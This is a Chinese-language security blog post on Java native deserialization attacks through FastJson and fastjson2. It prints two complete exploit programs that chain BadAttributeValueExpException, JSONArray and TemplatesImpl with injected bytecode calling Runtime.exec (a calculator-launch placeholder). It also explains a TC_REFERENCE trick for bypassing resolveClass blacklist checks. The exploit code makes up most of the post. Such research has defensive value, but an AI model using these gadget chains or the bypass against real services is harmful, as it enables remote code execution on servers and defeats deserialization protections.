FastJson与原生反序列化

Sl0th Lv4

FastJson与原生反序列化

第一版 <1.2.49

在Json类当中的toString方法能触发toJsonString的调用,而这个东西其实我们并不陌生,在我们想用JSON.parse()触发get方法时,其中一个处理方法就是用JSONObject嵌套我们的payload

触发toString->toJSONString->get方法

image-20230421235341029
image-20230421235341029

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import com.alibaba.fastjson.JSONArray;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;


public class Test {
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "y4tacker");
setValue(templates, "_tfactory", null);


JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, jsonArray);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(val);

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}

fastjson2 全版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

import com.alibaba.fastjson2.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;


public class Test {
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "y4tacker");
setValue(templates, "_tfactory", null);


JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, jsonArray);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(val);

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}

绕过resolveClass

查看不会调用的情况

跟进java.io.ObjectInputStream#readObject0,会根据读到的bytes中tc的数据类型做不同的处理去恢复部分对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
switch (tc) {
case TC_NULL:
return readNull();
case TC_REFERENCE:
return readHandle(unshared);
case TC_CLASS:
return readClass(unshared);
case TC_CLASSDESC:
case TC_PROXYCLASSDESC:
return readClassDesc(unshared);
case TC_STRING:
case TC_LONGSTRING:
return checkResolve(readString(unshared));
case TC_ARRAY:
return checkResolve(readArray(unshared));
case TC_ENUM:
return checkResolve(readEnum(unshared));
case TC_OBJECT:
return checkResolve(readOrdinaryObject(unshared));
case TC_EXCEPTION:
IOException ex = readFatalException();
throw new WriteAbortedException("writing aborted", ex);
case TC_BLOCKDATA:
case TC_BLOCKDATALONG:
if (oldMode) {
bin.setBlockDataMode(true);
bin.peek(); // force header read
throw new OptionalDataException(
bin.currentBlockRemaining());
} else {
throw new StreamCorruptedException(
"unexpected block data");
}
case TC_ENDBLOCKDATA:
if (oldMode) {
throw new OptionalDataException(true);
} else {
throw new StreamCorruptedException(
"unexpected end of block data");
}
default:
throw new StreamCorruptedException(
String.format("invalid type code: %02X", tc));
}

上面的不同case中大部分类都会最终调用readClassDesc去获取类的描述符,在这个过程中如果当前反序列化数据下一位仍然是TC_CLASSDESC那么就会在readNonProxyDesc中触发resolveClass

image-20230511210810954
image-20230511210810954

上面这个switch分支的代码,不会调用readClassDesc的分支有TC_NULLTC_REFERENCETC_STRINGTC_LONGSTRINGTC_EXCEPTION

所以思路是放两个类进去,并且第二个类必须是TC_NULLTC_REFERENCETC_STRINGTC_LONGSTRINGTC_EXCEPTION中的一个,这里利用引用类型(因为其他类型要么毫无用处,要么用于解决序列化终止相关)

引用类型的利用

当向List、set、map类型中添加同样对象时即可成功利用,这里也简单提一下,这里以List为例,

1
2
3
4
ArrayList<Object> arrayList = new ArrayList<>();
arrayList.add(templates);
arrayList.add(templates);
writeObjects(arrayList);

当我们写入同样的对象时,第二个会变成引用类型

image-20230511211004050
image-20230511211004050

  • 标题: FastJson与原生反序列化
  • 作者: Sl0th
  • 创建于 : 2023-02-04 22:38:15
  • 更新于 : 2024-11-11 18:23:06
  • 链接: http://sl0th.top/2023/02/04/FastJson与原生反序列化/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论